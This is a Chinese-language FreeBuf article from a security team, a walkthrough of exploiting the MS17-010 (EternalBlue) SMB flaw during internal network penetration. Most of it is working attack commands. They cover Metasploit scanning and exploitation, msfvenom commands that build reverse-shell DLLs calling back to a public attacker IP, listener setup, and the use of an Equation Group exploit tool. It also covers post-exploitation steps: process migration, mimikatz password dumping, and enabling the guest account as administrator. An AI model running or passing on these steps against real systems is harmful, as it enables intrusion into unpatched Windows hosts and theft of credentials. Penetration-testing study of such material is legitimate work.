freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透之ms17-010
2019-07-17 15:17:45

前言

在内网渗透时,通常挂上代理后。在内网首先会打啵ms17-010。在实战中,使用msf的ms17-010模块,数次没有反弹成功。基于此,到底如何成功利用ms17-010。

ms17_010_eternalblue模块

在msf成功接收session之后,添加路由


run autoroute -p 

image.png


然后使用ms17-010相关的模块进行探测是否存在该漏洞。


use  auxiliary/scanner/smb/smb_ms17_010

set  rhosts 192.168.100.40-50 

set  threads 3


image.png


尝试利用


use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/reverse_tcp

set rhost 192.168.100.46

set lhost 144.30.xxx.xxx


LHOST配置为公网IP


image.png


image.png


可以看到success。漏洞是可以利用的,但始终没有session。不知道什么原因。

参考资料:利用公网Msf+MS17010跨网段攻击内网

笔者在本地搭建环境,也是同样的结果。尝试更改payload为

windows/x64/meterpreter/bind_tcp 

bind_tcp攻击者去连接,容易被防火墙和杀毒发现

可以成功生成session,但并不稳定,且在run的过程中非常容易导致本来的session died

image.png

测试环境

image.png

实战环境

方程式漏洞利用工具

在实际使用msf的ms17_010_eternalblue模块时,笔者观察到有几个弊端。

1.session 很容易died

2.ms17_010_eternalblue模块利用起来非常耗时

3.无法利用成功

有大佬推荐使用原始的fb.py。但配置起来感觉麻烦一些。

所以。笔者从i春秋上找到一个轻便的方程式漏洞利用工具。

参考资料:萌新初试MS17-010方程式漏洞

工具使用起来很简单。只需要msfvenom生成一个x64或x86的dll文件,替换该工具下的x64.dll或x86.dll 。再依次点击Eternalblue、Doublepulsar 的Attack即可。在Attack的时候,调用x64.dll动态链接库,反弹到公网IP。原理和fb.py一样。

实战利用

笔者通过ew代理进内网后,在跳板机上上传了方程式漏洞利用工具、网安永恒之蓝检测工具。两者结合,威力巨大。成功利用ms17-010

image.png



image.png

windows server 2008


对于windows server 2008 ,msfvenom生成x64.dll文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=144.30.xxx.xxx LPORT=12345 -f dll > x64.dll


msf配置

use exploit/multi/handler 

set payload windows/x64/meterpreter/reverse_tcp

set lport 12345

set lhost 144.30.xxx.xxx


将该x64.dll替换到方程式利用工具下面。

只需要更换目标的IP,就可以获取session。

image.png

windows server 2003


对于windows server 2003 ,msfvenom生成x86.dll文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=144.30.xxx.xxx LPORT=12345 -f dll > x86.dll


msf配置


use exploit/multi/handler 

set payload windows/meterpreter/reverse_tcp

set lport 12345

set lhost 144.30.xxx.xxx


image.png


进一步利用的一些命令


getuid

run   post/windows/gather/checkvm 

run   post/windows/manage/migrate

load  mimikatz

mimikatz_command -f sekurlsa::searchPasswords



image.png

实际测试发现这种session非常稳定。不会轻易go die

扩展

实际测试server 2003的ms17-010时,有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏。

所以笔者选择一种稳定可靠一些的办法。

先通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道[accessible named pipe]

参考资料  Metasploit 「永恒之蓝」两种模块的利弊


use auxiliary/admin/smb/ms17_010_command


image.png


system的权限可以直接激活guest用户添加管理员组。


use exploit/windows/smb/ms17_010_psexec 

set rhosts  192.168.100.2

set SMBUser  guest

set SMBPass  123456

run

注意:使用ms17_010_psexec需要指定管理员的用户名、密码,否则没有session


image.png

同样的操作,载入mimikatz,读取管理员密码。

image.png


关注我们

Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:

ewm.png

本文作者:, 转载请注明来自FreeBuf.COM

# Metasploit # MSF渗透 # 永恒之蓝
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑